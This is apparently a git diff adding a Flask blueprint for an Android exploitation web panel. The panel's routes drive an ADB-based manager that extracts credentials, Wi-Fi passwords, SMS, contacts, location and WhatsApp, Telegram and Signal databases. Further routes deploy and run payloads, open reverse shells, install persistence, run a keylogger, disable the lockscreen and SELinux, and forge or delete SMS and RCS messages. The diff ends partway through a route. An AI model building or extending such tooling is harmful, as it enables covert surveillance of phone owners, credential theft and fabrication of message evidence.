pattern = b'ABCDEFGHIJKLMNOP'
|
||||
content = (pattern * (size // len(pattern) + 1))[:size]
|
||||
elif content_type == 'text' and custom_text:
|
||||
raw = custom_text.encode('utf-8')
|
||||
content = (raw * (size // len(raw) + 1))[:size] if raw else os.urandom(size)
|
||||
else: # random
|
||||
content = os.urandom(size)
|
||||
|
||||
# Sanitize filename
|
||||
safe_name = re.sub(r'[^\w.\-]', '_', filename)
|
||||
out_path = out_dir / safe_name
|
||||
try:
|
||||
with open(out_path, 'wb') as f:
|
||||
f.write(content)
|
||||
|
||||
hashes = {
|
||||
'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'),
|
||||
'md5': hashlib.md5(content).hexdigest(),
|
||||
'sha1': hashlib.sha1(content).hexdigest(),
|
||||
'sha256': hashlib.sha256(content).hexdigest(),
|
||||
'sha512': hashlib.sha512(content).hexdigest(),
|
||||
}
|
||||
|
||||
return jsonify({
|
||||
'path': str(out_path.absolute()),
|
||||
'size': len(content),
|
||||
'content_type': content_type,
|
||||
'hashes': hashes,
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'error': f'File creation failed: {e}'})
|
||||
984
web/routes/android_exploit.py
Normal file
984
web/routes/android_exploit.py
Normal file
@@ -0,0 +1,984 @@
|
||||
"""Android Exploitation routes - App extraction, recon, payloads, boot, root."""
|
||||
|
||||
import os
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
android_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit')
|
||||
|
||||
|
||||
def _get_mgr():
|
||||
from core.android_exploit import get_exploit_manager
|
||||
return get_exploit_manager()
|
||||
|
||||
|
||||
def _get_serial():
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
if not serial:
|
||||
# Auto-detect if only one device connected
|
||||
devices = _get_mgr().hw.adb_devices()
|
||||
online = [d for d in devices if d.get('state') == 'device']
|
||||
if len(online) == 1:
|
||||
return online[0]['serial'], None
|
||||
return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'})
|
||||
return serial, None
|
||||
|
||||
|
||||
@android_exploit_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.hardware import get_hardware_manager
|
||||
hw = get_hardware_manager()
|
||||
status = hw.get_status()
|
||||
return render_template('android_exploit.html', status=status)
|
||||
|
||||
|
||||
# ── App Extraction ────────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/apps/list', methods=['POST'])
|
||||
@login_required
|
||||
def apps_list():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
include_system = data.get('include_system', False)
|
||||
return jsonify(_get_mgr().list_packages(serial, include_system=include_system))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/apps/pull-apk', methods=['POST'])
|
||||
@login_required
|
||||
def apps_pull_apk():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().pull_apk(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/apps/pull-data', methods=['POST'])
|
||||
@login_required
|
||||
def apps_pull_data():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().pull_app_data(serial, package))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/apps/shared-prefs', methods=['POST'])
|
||||
@login_required
|
||||
def apps_shared_prefs():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
package = data.get('package', '').strip()
|
||||
if not package:
|
||||
return jsonify({'error': 'No package provided'})
|
||||
return jsonify(_get_mgr().extract_shared_prefs(serial, package))
|
||||
|
||||
|
||||
# ── Device Recon ──────────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/recon/device-dump', methods=['POST'])
|
||||
@login_required
|
||||
def recon_device_dump():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().full_device_dump(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/accounts', methods=['POST'])
|
||||
@login_required
|
||||
def recon_accounts():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_accounts(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/wifi', methods=['POST'])
|
||||
@login_required
|
||||
def recon_wifi():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_wifi_passwords(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/calls', methods=['POST'])
|
||||
@login_required
|
||||
def recon_calls():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
limit = int(data.get('limit', 200))
|
||||
return jsonify(_get_mgr().extract_call_logs(serial, limit=limit))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/sms', methods=['POST'])
|
||||
@login_required
|
||||
def recon_sms():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
limit = int(data.get('limit', 200))
|
||||
return jsonify(_get_mgr().extract_sms(serial, limit=limit))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/contacts', methods=['POST'])
|
||||
@login_required
|
||||
def recon_contacts():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_contacts(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/browser', methods=['POST'])
|
||||
@login_required
|
||||
def recon_browser():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_browser_history(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/credentials', methods=['POST'])
|
||||
@login_required
|
||||
def recon_credentials():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_saved_credentials(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/recon/export', methods=['POST'])
|
||||
@login_required
|
||||
def recon_export():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().export_recon_report(serial))
|
||||
|
||||
|
||||
# ── Payload Deployment ────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/payload/deploy', methods=['POST'])
|
||||
@login_required
|
||||
def payload_deploy():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
remote_path = request.form.get('remote_path', '/data/local/tmp/').strip()
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().deploy_binary(serial, upload_path, remote_path))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/payload/execute', methods=['POST'])
|
||||
@login_required
|
||||
def payload_execute():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
remote_path = data.get('remote_path', '').strip()
|
||||
args = data.get('args', '')
|
||||
background = data.get('background', True)
|
||||
if not remote_path:
|
||||
return jsonify({'error': 'No remote_path provided'})
|
||||
return jsonify(_get_mgr().execute_payload(serial, remote_path, args=args, background=background))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/payload/reverse-shell', methods=['POST'])
|
||||
@login_required
|
||||
def payload_reverse_shell():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
lhost = data.get('lhost', '').strip()
|
||||
lport = data.get('lport', '')
|
||||
method = data.get('method', 'nc').strip()
|
||||
if not lhost or not lport:
|
||||
return jsonify({'error': 'Missing lhost or lport'})
|
||||
return jsonify(_get_mgr().setup_reverse_shell(serial, lhost, int(lport), method))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/payload/persistence', methods=['POST'])
|
||||
@login_required
|
||||
def payload_persistence():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
method = data.get('method', 'init.d').strip()
|
||||
return jsonify(_get_mgr().install_persistence(serial, method))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/payload/list', methods=['POST'])
|
||||
@login_required
|
||||
def payload_list():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().list_running_payloads(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/payload/kill', methods=['POST'])
|
||||
@login_required
|
||||
def payload_kill():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
pid = data.get('pid', '').strip()
|
||||
if not pid:
|
||||
return jsonify({'error': 'No PID provided'})
|
||||
return jsonify(_get_mgr().kill_payload(serial, pid))
|
||||
|
||||
|
||||
# ── Boot / Recovery ───────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/boot/info', methods=['POST'])
|
||||
@login_required
|
||||
def boot_info():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_bootloader_info(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/backup', methods=['POST'])
|
||||
@login_required
|
||||
def boot_backup():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().backup_boot_image(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/unlock', methods=['POST'])
|
||||
@login_required
|
||||
def boot_unlock():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().unlock_bootloader(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/flash-recovery', methods=['POST'])
|
||||
@login_required
|
||||
def boot_flash_recovery():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().flash_recovery(serial, upload_path))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/flash-boot', methods=['POST'])
|
||||
@login_required
|
||||
def boot_flash_boot():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().flash_boot(serial, upload_path))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/disable-verity', methods=['POST'])
|
||||
@login_required
|
||||
def boot_disable_verity():
|
||||
# Supports both JSON and form upload
|
||||
if request.content_type and 'multipart' in request.content_type:
|
||||
serial = request.form.get('serial', '').strip()
|
||||
f = request.files.get('file')
|
||||
vbmeta = None
|
||||
if f:
|
||||
from core.paths import get_uploads_dir
|
||||
vbmeta = str(get_uploads_dir() / f.filename)
|
||||
f.save(vbmeta)
|
||||
else:
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
vbmeta = None
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(_get_mgr().disable_verity(serial, vbmeta))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/boot/temp-boot', methods=['POST'])
|
||||
@login_required
|
||||
def boot_temp():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().boot_temp(serial, upload_path))
|
||||
|
||||
|
||||
# ── Root Methods ──────────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/root/check', methods=['POST'])
|
||||
@login_required
|
||||
def root_check():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().check_root(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/root/install-magisk', methods=['POST'])
|
||||
@login_required
|
||||
def root_install_magisk():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().install_magisk(serial, upload_path))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/root/pull-patched', methods=['POST'])
|
||||
@login_required
|
||||
def root_pull_patched():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().pull_patched_boot(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/root/exploit', methods=['POST'])
|
||||
@login_required
|
||||
def root_exploit():
|
||||
serial = request.form.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
f = request.files.get('file')
|
||||
if not f:
|
||||
return jsonify({'error': 'No file uploaded'})
|
||||
from core.paths import get_uploads_dir
|
||||
upload_path = str(get_uploads_dir() / f.filename)
|
||||
f.save(upload_path)
|
||||
return jsonify(_get_mgr().root_via_exploit(serial, upload_path))
|
||||
|
||||
|
||||
# ── SMS Manipulation ─────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/sms/list', methods=['POST'])
|
||||
@login_required
|
||||
def sms_list():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
limit = int(data.get('limit', 50))
|
||||
address = data.get('address', '').strip() or None
|
||||
return jsonify(_get_mgr().sms_list(serial, limit=limit, address=address))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/sms/insert', methods=['POST'])
|
||||
@login_required
|
||||
def sms_insert():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '').strip()
|
||||
body = data.get('body', '').strip()
|
||||
if not address or not body:
|
||||
return jsonify({'error': 'Missing address or body'})
|
||||
return jsonify(_get_mgr().sms_insert(
|
||||
serial, address, body,
|
||||
date_str=data.get('date') or None,
|
||||
time_str=data.get('time') or None,
|
||||
msg_type=data.get('type', 'inbox'),
|
||||
read=data.get('read', True),
|
||||
))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/sms/bulk-insert', methods=['POST'])
|
||||
@login_required
|
||||
def sms_bulk_insert():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
messages = data.get('messages', [])
|
||||
if not messages:
|
||||
return jsonify({'error': 'No messages provided'})
|
||||
return jsonify(_get_mgr().sms_bulk_insert(serial, messages))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/sms/update', methods=['POST'])
|
||||
@login_required
|
||||
def sms_update():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
sms_id = data.get('id', '').strip()
|
||||
if not sms_id:
|
||||
return jsonify({'error': 'No SMS id provided'})
|
||||
return jsonify(_get_mgr().sms_update(
|
||||
serial, sms_id,
|
||||
body=data.get('body'),
|
||||
date_str=data.get('date'),
|
||||
time_str=data.get('time'),
|
||||
address=data.get('address'),
|
||||
msg_type=data.get('type'),
|
||||
read=data.get('read'),
|
||||
))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/sms/delete', methods=['POST'])
|
||||
@login_required
|
||||
def sms_delete():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
sms_id = data.get('id', '').strip() if data.get('id') else None
|
||||
address = data.get('address', '').strip() if data.get('address') else None
|
||||
delete_all_from = data.get('delete_all_from', False)
|
||||
return jsonify(_get_mgr().sms_delete(serial, sms_id=sms_id, address=address,
|
||||
delete_all_from=delete_all_from))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/sms/delete-all', methods=['POST'])
|
||||
@login_required
|
||||
def sms_delete_all():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().sms_delete_all(serial))
|
||||
|
||||
|
||||
# ── RCS Spoofing ─────────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/rcs/check', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_check():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().rcs_check_support(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/rcs/list', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_list():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
limit = int(data.get('limit', 50))
|
||||
return jsonify(_get_mgr().rcs_list(serial, limit=limit))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/rcs/insert', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_insert():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '').strip()
|
||||
body = data.get('body', '').strip()
|
||||
if not address or not body:
|
||||
return jsonify({'error': 'Missing address or body'})
|
||||
return jsonify(_get_mgr().rcs_insert(
|
||||
serial, address, body,
|
||||
date_str=data.get('date') or None,
|
||||
time_str=data.get('time') or None,
|
||||
sender_name=data.get('sender_name') or None,
|
||||
is_outgoing=data.get('is_outgoing', False),
|
||||
))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/rcs/delete', methods=['POST'])
|
||||
@login_required
|
||||
def rcs_delete():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
msg_id = data.get('id', '')
|
||||
if not msg_id:
|
||||
return jsonify({'error': 'No message id provided'})
|
||||
return jsonify(_get_mgr().rcs_delete(serial, int(msg_id)))
|
||||
|
||||
|
||||
# ── Screen & Input ───────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/screen/capture', methods=['POST'])
|
||||
@login_required
|
||||
def screen_capture():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().screen_capture(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/record', methods=['POST'])
|
||||
@login_required
|
||||
def screen_record():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 10))
|
||||
return jsonify(_get_mgr().screen_record(serial, duration=duration))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/tap', methods=['POST'])
|
||||
@login_required
|
||||
def screen_tap():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().input_tap(serial, data.get('x', 0), data.get('y', 0)))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/swipe', methods=['POST'])
|
||||
@login_required
|
||||
def screen_swipe():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().input_swipe(serial, data.get('x1',0), data.get('y1',0),
|
||||
data.get('x2',0), data.get('y2',0),
|
||||
int(data.get('duration', 300))))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/text', methods=['POST'])
|
||||
@login_required
|
||||
def screen_text():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
text = data.get('text', '')
|
||||
if not text:
|
||||
return jsonify({'error': 'No text provided'})
|
||||
return jsonify(_get_mgr().input_text(serial, text))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/key', methods=['POST'])
|
||||
@login_required
|
||||
def screen_key():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().input_keyevent(serial, data.get('keycode', 3)))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/keylogger-start', methods=['POST'])
|
||||
@login_required
|
||||
def keylogger_start():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().start_keylogger(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/keylogger-stop', methods=['POST'])
|
||||
@login_required
|
||||
def keylogger_stop():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().stop_keylogger(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/dismiss-lock', methods=['POST'])
|
||||
@login_required
|
||||
def dismiss_lock():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().dismiss_lockscreen(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/screen/disable-lock', methods=['POST'])
|
||||
@login_required
|
||||
def disable_lock():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().disable_lockscreen(serial))
|
||||
|
||||
|
||||
# ── Advanced: Data ───────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/adv/clipboard', methods=['POST'])
|
||||
@login_required
|
||||
def adv_clipboard():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_clipboard(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/notifications', methods=['POST'])
|
||||
@login_required
|
||||
def adv_notifications():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().dump_notifications(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/location', methods=['POST'])
|
||||
@login_required
|
||||
def adv_location():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_location(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/media-list', methods=['POST'])
|
||||
@login_required
|
||||
def adv_media_list():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().extract_media_list(serial, media_type=data.get('type', 'photos')))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/media-pull', methods=['POST'])
|
||||
@login_required
|
||||
def adv_media_pull():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().pull_media_folder(serial, media_type=data.get('type', 'photos'),
|
||||
limit=int(data.get('limit', 50))))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/whatsapp', methods=['POST'])
|
||||
@login_required
|
||||
def adv_whatsapp():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_whatsapp_db(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/telegram', methods=['POST'])
|
||||
@login_required
|
||||
def adv_telegram():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_telegram_db(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/signal', methods=['POST'])
|
||||
@login_required
|
||||
def adv_signal():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().extract_signal_db(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/fingerprint', methods=['POST'])
|
||||
@login_required
|
||||
def adv_fingerprint():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_device_fingerprint(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/settings', methods=['POST'])
|
||||
@login_required
|
||||
def adv_settings():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().dump_all_settings(serial))
|
||||
|
||||
|
||||
# ── Advanced: Network ────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/adv/network-info', methods=['POST'])
|
||||
@login_required
|
||||
def adv_network_info():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_network_info(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/proxy-set', methods=['POST'])
|
||||
@login_required
|
||||
def adv_proxy_set():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
port = data.get('port', '').strip()
|
||||
if not host or not port:
|
||||
return jsonify({'error': 'Missing host or port'})
|
||||
return jsonify(_get_mgr().set_proxy(serial, host, port))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/proxy-clear', methods=['POST'])
|
||||
@login_required
|
||||
def adv_proxy_clear():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().clear_proxy(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/wifi-scan', methods=['POST'])
|
||||
@login_required
|
||||
def adv_wifi_scan():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().wifi_scan(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/wifi-connect', methods=['POST'])
|
||||
@login_required
|
||||
def adv_wifi_connect():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().wifi_connect(serial, data.get('ssid',''), data.get('password','')))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/adb-wifi', methods=['POST'])
|
||||
@login_required
|
||||
def adv_adb_wifi():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().enable_adb_wifi(serial, int(data.get('port', 5555))))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/capture-traffic', methods=['POST'])
|
||||
@login_required
|
||||
def adv_capture():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().capture_traffic(serial,
|
||||
interface=data.get('interface', 'any'),
|
||||
duration=int(data.get('duration', 30)),
|
||||
pcap_filter=data.get('filter', '')))
|
||||
|
||||
|
||||
# ── Advanced: System ─────────────────────────────────────────────
|
||||
|
||||
@android_exploit_bp.route('/adv/selinux', methods=['POST'])
|
||||
@login_required
|
||||
def adv_selinux():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().set_selinux(serial, data.get('mode', 'permissive')))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/remount', methods=['POST'])
|
||||
@login_required
|
||||
def adv_remount():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().remount_system(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/logcat-sensitive', methods=['POST'])
|
||||
@login_required
|
||||
def adv_logcat():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().logcat_sensitive(serial, int(data.get('duration', 10))))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/processes', methods=['POST'])
|
||||
@login_required
|
||||
def adv_processes():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_running_processes(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/ports', methods=['POST'])
|
||||
@login_required
|
||||
def adv_ports():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
return jsonify(_get_mgr().get_open_ports(serial))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/modify-setting', methods=['POST'])
|
||||
@login_required
|
||||
def adv_modify_setting():
|
||||
serial, err = _get_serial()
|
||||
if err:
|
||||
return err
|
||||
data = request.get_json(silent=True) or {}
|
||||
ns = data.get('namespace', '').strip()
|
||||
key = data.get('key', '').strip()
|
||||
value = data.get('value', '').strip()
|
||||
if not ns or not key:
|
||||
return jsonify({'error': 'Missing namespace or key'})
|
||||
return jsonify(_get_mgr().modify_setting(serial, ns, key, value))
|
||||
|
||||
|
||||
@android_exploit_bp.route('/adv/app-disable', methods=['POST'])
|
